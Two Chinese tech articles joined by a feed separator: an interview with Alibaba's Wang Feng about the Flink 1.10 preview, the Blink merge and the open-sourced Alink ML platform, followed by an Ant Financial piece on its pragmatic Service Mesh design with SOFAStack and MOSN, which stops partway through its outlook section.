        11月28日,Flink Forward Asia 2019 在北京国家会议中心召开,阿里在会上发布Flink 1.10版本功能前瞻,同时宣布基于Flink的机器学习算法平台Alink正式开源,这也是全球首个批流一体的算法平台,旨在降低算法开发门槛,帮助开发者掌握机器学习的生命全周期。在去年的Flink Forward China峰会上,阿里宣布将开源Flink的内部分支Blink,把阿里内部对Flink的优化工作全部开放给开源社区,在业内引发热烈讨论,其中有期待也有怀疑。一年后的今天,阿里是否兑现了去年所作的承诺?Blink的合并工作进展如何?刚刚开源的Alink算法平台有哪些独特之处?AI前线在会上对阿里巴巴资深技术专家、实时计算负责人王峰(花名莫问)进行了独家专访,让我们一起来看看Flink的最新变化,以及阿里基于Flink又有哪些新的工作成果。

        自 2019 年 1 月起,阿里巴巴逐步将内部维护的 Blink 回馈给 Flink 开源社区,目前贡献代码数量已超过 100 万行。国内包括腾讯、百度、字节跳动等公司,国外包括 Uber、Lyft、Netflix 等公司都是 Flink 的使用者。

        1.jpg

        今年 8 月发布的 Flink 1.9.0 是阿里内部版本 Blink 合并入 Flink 后的首次发版,在今天的 Flink Forward 2019 大会上,阿里发布了 Flink 1.10 版本功能前瞻,正式版本预计于 2020 年 1 月发布。

        Flink 1.10 版本功能前瞻:Blink 全部功能进入 Flink

        据介绍,Flink 1.10 版本可以看作一个比较重要的里程碑式版本,至此,Blink 全部功能都已经进入 Flink,包括 Blink 中比较关键的设计和通用的优化。以下是该版本将包含的主要功能和技术亮点前瞻:

        1.完成Blink/Flink merge

        (1)更加强大的Blink Query Processor

        • DDL 增强,支持在建表语句中定义计算列和 watermark
        • 生产级别的Batch支持,完整支持 TPC-H 和TPC-DS 测试集,其中 TPC-DS 10T的性能是Hive3.0的7倍
          (2)完成scheduler的重构,支持更灵活batch调度策略

        (3)更完善,更细粒度,更灵活的资源管理

        • 对 TaskExecutor 的内存模型进行了梳理,解决了 RockDB 内存难以配置和管控、TM 启动前后内存计算不一致等长期存在的问题
        • 简化了内存计算逻辑,降低了配置难度
        • 对算子级别的资源用量进行更精细的管理,解决算子资源超用带来的性能及稳定性问题,提高资源利用效率

        2.Hive兼容性生产可用

        (1)Meta 兼容,支持直接读取 Hive catalog,版本覆盖1.x,2.x到3.x
        (2)数据格式兼容,支持直接读取 Hive 表,同时也支持写成 Hive 表的格式
        (3)UDF 兼容,支持在 Flink SQL 内直接调用 Hive 的UDF,UDTF,UDAF

        3.更加强大的Python支持

        • 增加了对 NativePython UDF 的支持,用户可以用Python开发自己的业务逻辑
        • 很好的支持了 Python 类库的依赖管理,Python用户不仅可以自定义Python UDF 而且可以与其他现有的Python library进行集成
        • 在架构上引入了BeamPortability Framework,Flink与Beam社区共同打造功能便捷,性能优越的Python UDF支持框架
        • 与Flink资源管理框架进行集成,实现了对Python UDF资源的管控

        4.支持原生K8S集成

        (1)原生的资源管理,可以根据作业的资源需求动态去申请TaskManager,不需要依赖外部系统或组件
        (2)更加方便的任务提交,不需要安装kubectl等工具,可以达到和Yarn相似的体验

        5.新增多个主流机器学习算法库

        (1)包括逻辑回归,随机森林,KMeans等

        提问:在 1.10 版本中,Blink 全部功能都已经进入 Flink,而这距离上一次 1.9 发布刚过去三个月,那也是 Blink 首次并入 Flink 的版本发布,距离去年阿里宣布要开源 Blink 也不过一年时间。为什么 Blink 的 Merge 进度能做到这么快?过程中遇到了哪些问题?你们是如何解决的?

        莫问: 我们投入了很多资源,包括有数十位技术人员来做这个事情,并行度比较大,所以才能在比较短的时间内贡献多达 150 万行代码。

        提问:整个过程中有没有遇到什么比较棘手的问题?
        莫问: 社区是一个相对开放透明的场景,不像自己的项目可以比较随意地改动,而是要走一个民主的过程,包括要经过社区的讨论、大家的认可,要保证代码的质量等。我们既要做到快速推进,还要保证质量和社区的公平性,这个挑战还是很大的。

        提问:所以你们怎么平衡这两件事情?

        莫问: 整个 Flink 社区的合作模式是比较高效的,社区不同模块的负责人每周都会有视频会议,可能是不同国家的社区讨论,这些都做得非常高效,项目管理做得非常好。在这种机制的保证下,我们可以让代码快速进入同时保证迭代的速度。其实这对工程效率的开发也是非常大的挑战。说白了,我们投入了很多技术人员做这件事,但也不是只看数量。我们投入的很多人手本身就是 Apache 项目的 PMC 和 Committer,而不完全是普通的工程师,这些人本身对于 Apache 项目的工作机制和流程都比较熟悉,他们的效率和作战能力不能按一个人这么算。社区就是这样,不是人多的问题,还需要合适的人。

        提问:您上午在演讲中提到 Flink 正在成为一个真正的 Unified Engine。有趣的是,我们近期已经不止一次听到不同的计算引擎提出类似的说法,比如 Spark 的核心理念也是成为“统一数据分析平台”,能否请您谈谈 Flink 的设计理念?二者的统一有什么相同点和不同点?

        莫问:Flink 的核心理念我们强调过很多次,它的本质计算思想是流处理核心。流处理核心就是所有的都是基于 Stream 来处理,批可以看作是一个有限的流。像今天提到的在线的 Stateful Function 也是 Event Driven,所有的 Event 不停地进入做函数计算,做在线有状态的计算,然后把结果给用户,再不停地迭代。其实在线服务也是无限的,也是不会停止的处理,不停地有人访问,有人处理。Flink 的核心是基于流计算的 Core,去覆盖 Offline 和 Online,这样它跟 Spark 还是不太一样的。Spark 认为所有东西都是基于 Batch 的,而流是无数个 Batch 凑在一起,这一点不太一样。

        但大家在宏观上的愿景都是类似的,用一套计算引擎技术或大数据处理的技术,来解决尽量多的场景,这样从用户的角度来说学习成本更低、开发效率更高、运维成本也更低。所以大家的目标和理念是一致的,只不过在实现这个目标的方法上的选择是不一样的。

        **提问:下面这个问题我们之前问过 Databricks 的工程师,今天也想问问您,如果我要做统一的平台,你也要做统一平台,那会不会存在最后到底谁能真正统一谁的问题?

        **莫问: 我觉得大家并不是说做什么,什么就一定会赢,一定会好。从我个人态度来说,技术还是需要有一定良性的竞争,这样才能相互学习,同时条条大路通罗马,不一定哪一个绝对正确,可能不同场景有不同的偏好或不同的特定区域的需求,或适应的场景不一样。解决类似问题有两三家公司共存,这种状态是比较健康的,就像数据库领域有 MySQL、PostgreSQL 等,在线服务也类似,起码得有两家大公司在一起竞争,是比较合适的。但最终哪个做得更好,还是取决于是否能把自己的理论做到极致。因为理论是理论,你的理论和我的理论听起来各有千秋,但是谁最后能赢看的是细节,包括用户体验。你是否按照正确的方法在做,细节做得够不够好,而不是大家听起来思路一样就没有区别了。细节和社区生态的发展、推进过程都很重要。

        开源 Alink:Flink 机器学习进度几何?

        Flink 在机器学习领域的进展一直是众多开发者关注的焦点,今年 Flink 迎来了一个小里程碑:机器学习算法平台 Alink 开源,这也宣告了 Flink 正式切入 AI 领域。

        Alink 开源项目链接:https://github.com/alibaba/Alink

        Alink 是阿里巴巴机器学习算法团队从 2017 年开始基于实时计算引擎 Flink 研发的新一代机器学习算法平台,提供丰富的算法组件库和便捷的操作框架,开发者可以一键搭建覆盖数据处理、特征工程、模型训练、模型预测的算法模型开发全流程。作为业界首个同时支持批式算法、流式算法的机器学习平台,Alink 提供了 Python 接口,开发者无需 Flink 技术背景也可以轻松构建算法模型。Alink 这个名字取自相关名称(Alibaba, Algorithm, AI, Flink,Blink)的公共部分。

        据悉,Alink 已被广泛运用在阿里巴巴搜索、推荐、广告等多个核心实时在线业务中。在刚刚落幕的天猫双 11 中,单日数据处理量达到 970PB,每秒处理峰值数据高达 25 亿条。Alink 成功经受住了超大规模实时数据训练的检验,并帮助提升 4% CTR(商品点击转化率)。

        提问:能否先介绍一下 FlinkML 和 Alink 的概况,以及二者的关系?

        莫问:FlinkML 是 Flink 社区现存的一套机器学习算法库,这一套算法库已经存在很久而且更新比较缓慢。Alink 是基于新一代的 Flink,完全重新写了一套,跟 FlinkML 没有代码上的关系。Alink 由阿里巴巴大数据团队开发,开发出来以后在阿里巴巴内部也用了,然后现在正式开源出来。

        未来我们希望 Alink 的算法逐渐替换掉 FlinkML 的算法,可能 Alink 就会成为新一代版本的 FlinkML,当然替换还需要一个比较漫长的过程。Alink 包含了非常多的机器学习算法,往 Flink 贡献或发布的时候也需要比较大的带宽,我们担心整个过程耗时会比较长,所以先把 Alink 单独开源出来,大家如果有需要的可以先用起来。后面贡献进展比较顺利的情况下,Alink 应该能完全合并到 FlinkML,也就是直接进入 Flink 生态的主干,这对于 Alink 来说是最好的归宿,到这个时候 FlinkML 就可以跟 SparkML 完全对应起来了。

        提问:除了 Alink 以外,Flink 当前在机器学习领域的工作还有哪些进展?和其他计算引擎相比,您如何评价当前 Flink 在机器学习和 AI 领域的工作,它的竞争力足够强吗?

        莫问: 其实我们还有很多正在进行的工作。机器学习的核心是迭代计算,机器学习训练就是不停地对数据进行迭代训练,训练出来一个模型然后上线。在核心训练的基础上,Flink 正在设计新的迭代计算,因为 Flink 是基于流式计算,所以它的迭代计算可以转化为 mini-batch 的迭代计算,可以根据数据条目数也可以根据数据段的时长,在流上打出很多细粒度的数据段。

        Flink 的好处是在流上打细粒度的数据段可行性上没有问题,因为它本来就是纯流式的,截成一段一段没有问题。而 Spark 的迭代是把一个数据集做一次迭代,再做一次迭代,这个数据集很难切得特别细,切出来一段就是一次任务的运行,细粒度的挑战比较大。Flink 的好处是本身可以把粒度截得很细,所以重构原有的迭代计算是可行的。

        Flink 最早的迭代计算也跟 Spark 一样,要么是一批迭代要么是一条一条迭代,完全是两个极端,我们想把它做一个抽象,可以按照时间、大小来设定迭代的 batch 大小,就类似于 Flink 窗口的概念,这样可以支持嵌套迭代、增量迭代等。我们在引擎层面做好了基于流的迭代技术之后,整个机器学习的训练就会大幅度加速。虽然算法本身的效果可能是一样的,但是运行的性能和速度不一样。

        同时它还可以解决在线训练的问题,比如说互联网的日志流、用户行为是不停产生的,Flink 流式迭代可以不间断地处理用户产生的实时数据,可以在线迭代更新,模型可以每隔 5 分钟更新一次,也可以每隔 1 分钟更新一次。这样它的模型上线是一个 7×24 小时环状的更新,这样一套在线学习的体系会给用户带来很大的变化,这个变化不是简单的 30% 的提升或者是工程上的优化,而是在使用机器学习的理念上会有优化。

        这是我们当前正在做的工作,社区里也已经开始讨论了,可能会作为 Flink 明年 1-2 个版本的重点。你可以这么认为,Flink 去年还是 Unified Engine,今年开始拥抱 AI 了,2019 年我们做的很多工作是偏 SQL 的优化,明年我们会更多地切入到 AI,就是 FlinkML 和 AI 场景的方向上。

        **提问:阿里是什么时候决定开源 Alink 的?
        **
        莫问: 去年 Blink 开源的时候,我们就在考虑是否把 Alink 一起开源了。但是后来觉得,第一个开源还没做,不敢一下子步子迈得这么大,要一步步来,而且 Blink 开源也要准备很多东西。当时我们没有办法做到两个大的项目同时开源,所以就先把 Blink 开源做好。

        Blink 开源以后,我们想是不是把 Alink 的算法推到 Flink 就好了。但是发现往社区贡献确实是比较复杂的过程,Blink 在推的时候已经占用了很大的带宽,而社区的带宽就那么多,没有办法同时做多件事情。社区也需要一段时间消耗,所以决定先把 Blink 消耗掉,贡献完了,社区吃得下,然后再把 Alink 逐步贡献回社区。这是没有办法跨越的一个过程。

        开源是一个很慎重的过程,不能随意想开就开一个。孩子不能管生不管养,要发东西就要有一个长期的计划,要负责任的,得给大家一个很明确的信号,这是有长期计划的,不是放了开源就结束了,以后肯定会有用户问你们放上去以后管不管?如果我们不想好这些问题,对用户来说就适得其反,大家觉得你并没有给大家一个清晰的信号,大家也不敢用。

        提问:相比 SparkML,Alink 的亮点是什么?对于开发者来说在哪些方面会比较有吸引力?

        莫问:Alink 一是依赖于 Flink 计算引擎层;第二 Flink 框架中有 UDF 的算子,Alink 本身对算法做了很多优化,包括在算法实现上做了细节的优化,比如通信、数据访问、迭代数据处理的流程等多方面的优化。基于这些优化可以让算法运行的效率更高,同时我们还做了很多配套工具,让易用性更好。同时 Alink 还有一个核心技术,就是做了很多 FTRL 的算法,是天然针对在线学习的。在线学习需要高频快速更新的迭代算法,这种情况下 Alink 有天然的优势,像今日头条、微博的信息流都会经常遇到这样的在线场景。

        2.jpg

        在离线学习上 Alink 跟 SparkML 对比基本上差不多,只要大家工程化都做得足够好,离线学习无法打出代差,真正的代差一定是设计上的理念不一样。设计上、产品形态、技术形态不一样才会有代差明显的优势。

        相比 SparkML,我们的基调是批式算法基本一致,包括功能和性能,Alink 可以支持算法工程师常用的所有算法,包括聚类、分类、回归、数据分析、特征工程等,这些类型的算法是算法工程师常用的。我们开源之前也对标了 SparkML 所有的算法,做到了 100% 对标。除此之外,Alink 最大的亮点是有流式算法和在线学习,在自己的特色上能做到独树一帜,这样对用户来说没有短板,同时优势又很明显。

        3.jpg

        Alink 支持的机器学习算法

        后续规划和未来展望

        提问:接下来 Flink 会按照什么样的频率更新版本?能否透露 Flink 接下来还会有哪些值得期待的新特性或功能?

        莫问:3-4 个月,基本上会是一个季度更新一个版本,比如 2020 年 1 月份会发 1.10,4 月份会发 1.11。现在还说不好什么时候切 2.0,2.0 应该会是一个非常有里程碑意义的版本。现在 Flink 社区可以看到非常多的点,不仅有 AI、机器学习,还有今天主题演讲 Stephan Ewen 提到的 Stateful Function,也是非常有前景的。其实在线场景还有很多有前景的东西可以挖掘,Serverless(Faas)也是 Flink 后面的方向。Flink 社区有一点非常好,它刚刚演进到 1.x 版本,还有很大的上升空间,社区的生命力和状态都很好,大家有很多想法想放进去。

        提问:未来大数据领域还有哪些新的技术方向或趋势是比较重要的?

        莫问: 大数据和 AI 的融合可能是一个很好的机会,大家现在纯玩大数据基本上五花八门什么都玩过了,各种项目层出不穷。AI 也是百花争鸣,但其实用户想要的不只是 AI,数据在哪?AI 没有数据怎么玩?得把特征算好、样本算好才能训练出好的模型。这个模型只有经过不断地迭代反馈才能越来越好。这个过程中数据处理和数据分析非常重要,如果没有一套完整的反馈体系,大数据 +AI 的链路玩不通。有再好的引擎,如果没有闭环的计算路径也无法真正发挥生产或业务上的效果。
        所以要把大数据 +AI 整套处理做成非常易用、好用的解决方案,这是大家最需要的。现在可能一个个零散的点大家已经做到了,很多东西都能找到对应的开源项目,但是需要有一个整体的平台把所有技术串起来。

        提问:Flink 在一定程度上也想做这样的?

        莫问: 明年我们会开源一个新的项目 AI Flow,目前还没有 Ready,我们希望 AI Flow 可以通过一个工作流程把数据处理、预处理,包括模型的训练、模型管理、模型上线、动态更新,更新完拿到反馈,反馈之后怎么反向优化流程,整个系统串起来。其中每个环节都可以使用不同的引擎来实现,用 Flink OK,用 Spark 也 OK,就看最后哪个好用。比如可以用 Flink 做大数据处理,TensorFlow 做深度学习训练,FlinkML 做流式训练,把这些都串联起来给用户提供一个端到端的解决方案,这是很有前景的一个项目。

        提问:这是不是跟 Databricks 的 MLflow 有点类似?

        莫问:AI Flow 大于 MLflow,因为 MLflow 只定义了数据格式,AI Flow 可能跟 Kubeflow 更像,AI Flow 偏工作流程,MLflow 偏重于数据格式,没有覆盖特别完整的工作流程,但我们也不排除 MLflow 将来越做越大。

        为什么我们要做这个东西?因为我们在阿里巴巴内部非常熟悉整个搜索推荐广告最核心的系统怎么玩,如何一步步流程化才能形成一套大脑去调控整个流量,甚至是搜索流量、推荐流量、广告流量,在业务流量和现金流量去 battle 等,这是整个商业化最核心的系统,这个系统就是基于大数据 +AI 的方案,而这套方案离不开 workflow,离不开数据格式的定义,离不开不同计算引擎的协同,这是更大的一个概念。我们明年会在这方面投入更多资源,也会联合其他的公司一起来做。

        ]]>
        Service Mesh 在『路口』的产品思考与实践:务实是根本-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一、引言

        Service Mesh 是蚂蚁金服下一代架构的核心,经过了2年的沉淀,我们探索出了一套切实可行的方案并最终通过了双十一的考验。本文主要分享在当下『路口』,我们在产品设计上的思考和实践,希望能给大家带来一些启发。

        二、为什么需要 Service Mesh?

        2.1 微服务治理与业务逻辑解耦

        在 Service Mesh 之前,微服务体系的玩法都是由中间件团队提供一个 SDK 给业务应用使用,在 SDK 中会集成各种服务治理的能力,如:服务发现、负载均衡、熔断限流、服务路由等。

        在运行时,SDK 和业务应用的代码其实是混合在一个进程中运行的,耦合度非常高,这就带来了一系列的问题:

        1. 升级成本高

          1. 每次升级都需要业务应用修改 SDK 版本号,重新发布;
          2. 在业务飞速往前跑的时候,是不太愿意停下来做这些和自身业务目标不太相关的事情的;
        2. 版本碎片化严重

          1. 由于升级成本高,但中间件还是会向前发展,久而久之,就会导致线上 SDK 版本各不统一、能力参差不齐,造成很难统一治理;
        3. 中间件演进困难

          1. 由于版本碎片化严重,导致中间件向前演进过程中就需要在代码中兼容各种各样的老版本逻辑,戴着『枷锁』前行,无法实现快速迭代;

        有了 Service Mesh 之后,我们就可以把 SDK 中的大部分能力从应用中剥离出来,拆解为独立进程,以 Sidecar 的模式部署。通过将服务治理能力下沉到基础设施,可以让业务更加专注于业务逻辑,中间件团队则更加专注于各种通用能力,真正实现独立演进,透明升级,提升整体效率。

        decouple.png

        2.2 异构系统统一治理

        随着新技术的发展和人员更替,在同一家公司中往往会出现使用各种不同语言、不同框架的应用和服务,为了能够统一管控这些服务,以往的做法是为每种语言、每种框架都重新开发一套完整的 SDK,维护成本非常高,而且对中间件团队的人员结构也带来了很大的挑战。

        有了 Service Mesh 之后,通过将主体的服务治理能力下沉到基础设施,多语言的支持就轻松很多了,只需要提供一个非常轻量的 SDK、甚至很多情况都不需要一个单独的 SDK,就可以方便地实现多语言、多协议的统一流量管控、监控等治理需求。

        multi-language.png
        图片来源

        2.3 金融级网络安全

        当前很多公司的微服务体系建设都建立在『内网可信』的假设之上,然而这个原则在当前大规模上云的背景下可能显得有点不合时宜,尤其是涉及到一些金融场景的时候。

        通过 Service Mesh,我们可以更方便地实现应用的身份标识和访问控制,辅之以数据加密,就能实现全链路可信,从而使得服务可以运行于零信任网络中,提升整体安全水位。

        security.png

        三、在当下『路口』的思考

        3.1 云原生方案?

        正因为 Service Mesh 带来了上述种种的好处,所以这两年社区中对 Service Mesh 的关注度越来越高,也涌现出了很多优秀的 Service Mesh 产品,Istio 就是其中一款非常典型的标杆产品。

        Istio 以其前瞻的设计结合云原生的概念,一出现就让人眼前一亮,心之向往。不过深入进去看了之后发现,在目前阶段要落地的话,还是存在一些 gap 的。

        istio.png
        图片来源

        3.2 Greenfield vs Brownfield

        在正式展开讨论之前,我们先来看一副漫画。

        greenfield-brownfield.png
        图片来源

        上面这幅漫画描绘了这样一个场景:

        • 有两个工人在工作,其中一个在绿色的草地(Greenfield)上,另一个在棕色的土地(Brownfield)上
        • 在绿色草地上的工人对在棕色土地上的工人说:“如果你没有给自己挖这么深的坑,那么你也可以像我一样做一些很棒的新东西”
        • 然后在棕色土地上的工人回答道:“你倒是下来试试!”

        这是一幅很有意思的漫画,从表面上看我们可以认为在绿色草地上的工人是站着说话不腰疼,不过其实本质的原因还是两者所处的环境不同。

        在一片未开发过的土地上施工确实是很舒服的,因为空间很大,也没有周遭各种限制,可以使用各种新技术、新理念,我们国家近几十年来的一些新区新城的建设就属于这类。而在一片已经开发过的土地上施工就大不一样了,周围环境会有各种限制,比如地下可能有各种管线,一不小心就挖断了,附近还有各种大楼,稍有不慎就可能把楼给挖塌了,所以做起事来就要非常小心,设计方案时也会受到各种约束,无法自由发挥。

        对于软件工程,其实也是一样的,Greenfield 对应着全新的项目或新的系统,Brownfield 对应着成熟的项目或遗留系统。

        我相信大部分程序员都是喜欢做全新的项目的,包括我自己也是一样。因为可以使用新的技术、新的框架,可以按照事物本来的样子去做系统设计,自由度很高。而在开发/维护一个成熟的项目时就不太一样了,一方面项目已经稳定运行,逻辑也非常复杂,所以无法很方便地换成新的技术、新的框架,在设计新功能时也会碍于已有的架构和代码实现做很多妥协,另一方面前人可能不知不觉挖了很多坑,稍有不慎就会掉进坑里,所以行事必须要非常小心,尤其是在做大的架构改变的时候。

        3.3 现实场景

        3.3.1 Brownfield 应用当道

        在现实中,我们发现目前大部分的公司还没有走向云原生,或者还刚刚在开始探索,所以大量的应用其实还跑在非 k8s 的体系中,比如跑在虚拟机上或者是基于独立的服务注册中心构建微服务体系。

        虽然确实有少量 Greenfield 应用已经在基于云原生来构建了,但现实是那些大量的 Brownfield 应用是公司业务的顶梁柱,承载着更大的业务价值,所以如何把它们纳入 Service Mesh 统一管控,从而带来更大的价值,也就成了更需要优先考虑的话题。

        vm.pngstandalone-service-registry.png

        独立的服务注册中心

        3.3.2 云原生方案离生产级尚有一定距离

        另一方面,目前 Istio 在整体性能上还存在一些有待解决的点(引述小剑老师在蚂蚁金服 Service Mesh 深度实践中的观点):

        1. Mixer

          1. Mixer 的性能问题,一直都是 Istio 中最被人诟病的地方;
          2. 尤其在 Istio 1.1/1.2 版本之后引入了 Out-Of-Process Adapter,更是雪上加霜;
          3. 从落地的角度看,Mixer V1 糟糕至极的性能,已经是“生命无法承受之重”。对于一般规模的生产级落地而言,Mixer 性能已经是难于接受,更不要提大规模落地……
          4. Mixer V2 方案则给了社区希望:将 Mixer 合并进 Sidecar,引入 web assembly 进行 Adapter 扩展,这是我们期待的 Mixer 落地的正确姿势,是 Mixer 的未来,是 Mixer 的『诗和远方』。然而社区望穿秋水,但Mixer V2 迟迟未能启动,长期处于 In Review 状态,远水解不了近渴;
        2. Pilot

          1. Pilot 是一个被 Mixer 掩盖的重灾区:长期以来大家的性能关注点都在 Mixer,表现糟糕而且问题明显的Mixer 一直在吸引火力。但是当选择放弃 Mixer(典型如官方在 Istio 新版本中提供的关闭 Mixer 的配置开关)之后,Pilot 的性能问题也就很快浮出水面;
          2. 我们实践下来发现 Pilot 目前主要有两大问题:1)无法支撑海量数据 2)每次变化都会触发全量推送,性能较差;

        mixer.png
        图片来源

        3.4 当下『路口』我们该怎么走?

        我们都非常笃信云原生就是未来,是我们的『诗和远方』,但是眼下的现实情况是一方面 Brownfield 应用当道,另一方面云原生的 Service Mesh 方案自身离生产级还有一定的距离,所以在当下这个『路口』我们该怎么走?

        crossroad.png
        图片来源

        我们给出的答案是:

        wu-shi.png

        其实如前面所述,我们采用 Service Mesh 方案的初心是因为它的架构改变可以带来很多好处,如:服务治理与业务逻辑解耦、异构语言统一治理、金融级网络安全等,而且我们相信这些好处不管对 Greenfield 应用还是 Brownfield 应用都是非常需要的,甚至在现阶段对 Brownfield 应用产生的业务价值会远远大于 Greenfield 应用。

        所以从『务实』的角度来看,我们首先还是要探索出一套现阶段切实可行的方案,不仅要支持 Greenfield 应用,更要能支持 Brownfield 应用,从而可以真正把 Service Mesh 落到实处,产生业务价值。

        四、蚂蚁金服的产品实践

        4.1 发展历程和落地规模

        图片1.png

        Service Mesh 在蚂蚁金服的发展历程,先后经历过如下几个阶段:

        • 技术预研 阶段:2017年底开始调研并探索 Service Mesh 技术,并确定为未来发展方向。
        • 技术探索 阶段:2018年初开始用 Golang 开发 Sidecar MOSN ,年中开源基于 Istio 的 SOFAMesh 。
        • 小规模落地 阶段:2018年开始内部落地,第一批场景是替代 Java 语言之外的其他语言的客户端 SDK,之后开始内部小范围试点。
        • 规模落地 阶段:2019年上半年,作为蚂蚁金服金融级云原生架构升级的主要内容之一,逐渐铺开到蚂蚁金服内部的业务应用,并平稳支撑了618大促。
        • 对外输出 阶段:2019年9月,SOFAStack 双模微服务平台入驻阿里云开始公测,支持 SOFA, Dubbo 和 Spring Cloud 应用
        • 全面大规模落地 阶段:2019年下半年,在蚂蚁金服内部的大促核心应用中全面铺开,落地规模非常庞大,而且最终如『丝般顺滑』地支撑了双十一大促。

        在今年双十一,Service Mesh 覆盖了数百个交易核心链路应用,MOSN 注入的容器数量达到了数十万,双十一当天处理的 QPS 达到了几千万,平均处理响应时间<0.2 ms,MOSN 本身在大促中间完成了数十次的业务无感升级,达到了我们的预期,初步完成了基础设施和业务的第一步的分离,见证了 Mesh 化之后基础设施的迭代速度。

        4.2 SOFAStack 双模微服务平台

        我们的服务网格产品名是 SOFAStack 双模微服务平台,这里的『双模微服务』是指传统微服务和 Service Mesh 双剑合璧,即『基于 SDK 的传统微服务』可以和『基于 Sidecar 的 Service Mesh 微服务』实现下列目标:

         •  互联互通:两个体系中的应用可以相互访问
         •  平滑迁移:应用可以在两个体系中迁移,对于调用该应用的其他应用,做到透明无感知
         •  异构演进:在互联互通和平滑迁移实现之后,我们就可以根据实际情况进行灵活的应用改造和架构演进

        在控制面上,我们引入了 Pilot 实现配置的下发(如服务路由规则),在服务发现上保留了独立的 SOFA 服务注册中心。

        在数据面上,我们使用了自研的 MOSN,不仅支持 SOFA 应用,同时也支持 Dubbo 和 Spring Cloud 应用。
        在部署模式上,我们不仅支持容器/K8s,同时也支持虚拟机场景。

        图片2.png

        4.3 大规模场景下的服务发现

        要在蚂蚁金服落地,首先一个需要考虑的就是如何支撑双十一这样的大规模场景。前面已经提到,目前 Pilot 本身在集群容量上比较有限,无法支撑海量数据,同时每次变化都会触发全量推送,无法应对大规模场景下的服务发现。

        所以,我们的方案是保留独立的 SOFA 服务注册中心来支持千万级的服务实例信息和秒级推送,业务应用通过直连 Sidecar 来实现服务注册和发现。

        service-discovery.png

        4.4 流量劫持

        Service Mesh 中另一个重要的话题就是如何实现流量劫持:使得业务应用的 Inbound 和 Outbound 服务请求都能够经过 Sidecar 处理。

        区别于社区的 iptables 等流量劫持方案,我们的方案就显得比较简单直白了,以下图为例:

        1. 假设服务端运行在1.2.3.4这台机器上,监听20880端口,首先服务端会向自己的 Sidecar 发起服务注册请求,告知 Sidecar 需要注册的服务以及 IP + 端口(1.2.3.4:20880);
        2. 服务端的 Sidecar 会向 SOFA 服务注册中心发起服务注册请求,告知需要注册的服务以及 IP + 端口,不过这里需要注意的是注册上去的并不是业务应用的端口(20880),而是Sidecar自己监听的一个端口(例如:20881);
        3. 调用端向自己的 Sidecar 发起服务订阅请求,告知需要订阅的服务信息;
        4. 调用端的Sidecar向调用端推送服务地址,这里需要注意的是推送的IP是本机,端口是调用端的 Sidecar 监听的端口(例如:20882);
        5. 调用端的 Sidecar 会向 SOFA 服务注册中心发起服务订阅请求,告知需要订阅的服务信息;
        6. SOFA 服务注册中心向调用端的 Sidecar 推送服务地址(1.2.3.4:20881);

        sidecar-interception-1.png

        经过上述的服务发现过程,流量劫持就显得非常自然了:

        1. 调用端拿到的『服务端』地址是127.0.0.1:20882,所以就会向这个地址发起服务调用;
        2. 调用端的 Sidecar 接收到请求后,通过解析请求头,可以得知具体要调用的服务信息,然后获取之前从服务注册中心返回的地址后就可以发起真实的调用(1.2.3.4:20881);
        3. 服务端的 Sidecar 接收到请求后,经过一系列处理,最终会把请求发送给服务端(127.0.0.1:20880);

        sidecar-interception-2.png

        可能会有人问,为啥不采用 iptables 的方案呢?主要的原因是一方面 iptables 在规则配置较多时,性能下滑严重,另一个更为重要的方面是它的管控性和可观测性不好,出了问题比较难排查。

        4.5 平滑迁移

        平滑迁移可能是整个方案中最为重要的一个环节了,前面也提到,在目前任何一家公司都存在着大量的 Brownfield 应用,它们有些可能承载着公司最有价值的业务,稍有闪失就会给公司带来损失,有些可能是非常核心的应用,稍有抖动就会造成故障,所以对于 Service Mesh 这样一个大的架构改造,平滑迁移是一个必选项,同时还需要支持可灰度和可回滚。

        得益于独立的服务注册中心,我们的平滑迁移方案也非常简单直白:

        1.初始状态
        **
        以一个服务为例,初始有一个服务提供者,有一个服务调用者。

        migration-initial.png

        2.透明迁移调用方
        **
        在我们的方案中,对于先迁移调用方还是先迁移服务方没有任何要求,这里假设调用方希望先迁移到 Service Mesh 上,那么只要在调用方开启 Sidecar 的注入即可,服务方完全不感知调用方是否迁移了。所以调用方可以采用灰度的方式一台一台开启 Sidecar,如果有问题直接回滚即可。

        migration-consumer.png

        3.透明迁移服务方
        **
        假设服务方希望先迁移到 Service Mesh 上,那么只要在服务方开启 Sidecar 的注入即可,调用方完全不感知服务方是否迁移了。所以服务方可以采用灰度的方式一台一台开启 Sidecar,如果有问题直接回滚即可。

        migration-provider.png
        4.终态
        **
        migration-final.png

        4.6 多协议支持

        考虑到目前大部分用户的使用场景,除了 SOFA 应用,我们同时也支持 Dubbo 和 Spring Cloud 应用接入SOFAStack 双模微服务平台,提供统一的服务治理。多协议支持采用通用的 x-protocol,未来也可以方便地支持更多协议。

        mltiple-protocol.png

        4.7 虚拟机支持

        在云原生架构下,Sidecar 借助于 K8s 的 webhook/operator 机制可以方便地实现注入、升级等运维操作。然而大量系统还没有跑在 K8s 上,所以我们通过 agent 的模式来管理 Sidecar 进程,从而可以使 Service Mesh 能够帮助老架构下的应用完成服务化改造,并支持新架构和老架构下服务的统一管理。

        图片3.png

        4.8 产品易用性

        在产品易用性上我们也做了不少工作,比如可以直接在界面上方便地设置服务路由规则、服务限流等,再也不用手工写 yaml 了:

        service-governance.png

        no-yaml.png

        也可以在界面上方便地查看服务拓扑和实时监控:

        tracing.jpg

        metrics.png

        4.9 阿里云公测中

        最后打一个小小的广告,SOFAStack 双模微服务平台现在在阿里云公测中,欢迎感兴趣的企业前来体验,https://www.aliyun.com/product/sofa

        sofastack-product.png

        五、展望未来

        5.1 拥抱云原生

        目前已经能非常清楚地看到整个行业在经历从云托管(Cloud Hosted)到云就绪(Cloud Ready)直至云原生(Cloud Native)的过程,所以前面也提到我们都非常笃信云原生就是未来,是我们的『诗和远方』,虽然眼下在落地过程中还存在一定的 gap,不过相信随着我们的持续投入,gap 会越来越小。

        另外值得一提的是我们拥抱云原生其根本还在于降低资源成本,提升开发效率,享受生态红利,所以云原生本身不是目的,而是手段,切不可本末倒置了。

        cloud-native-path.png

        5.2 持续加强 Pilot 的能力

        为了更好地拥抱云原生,后续我们也会和 Istio 社区共建,持续加强 Pilot 的能力。

        而就在最近,在综合了过去一年多的思考和探索之后,蚂蚁金服和阿里集团的同事们共同提出了一套完整的解决方案,来融合控制平面和传统注册中心/配置中心,从而可以在保持协议标准化的同时,加强 Pilot 的能力,使其逐步向生产级靠拢。

        (更多细节可以参考小剑老师的蚂蚁金服 Service Mesh 深度实践一文,在此就不再赘述了)

        enhanced-pilot.png

        5.3 支持透明劫持

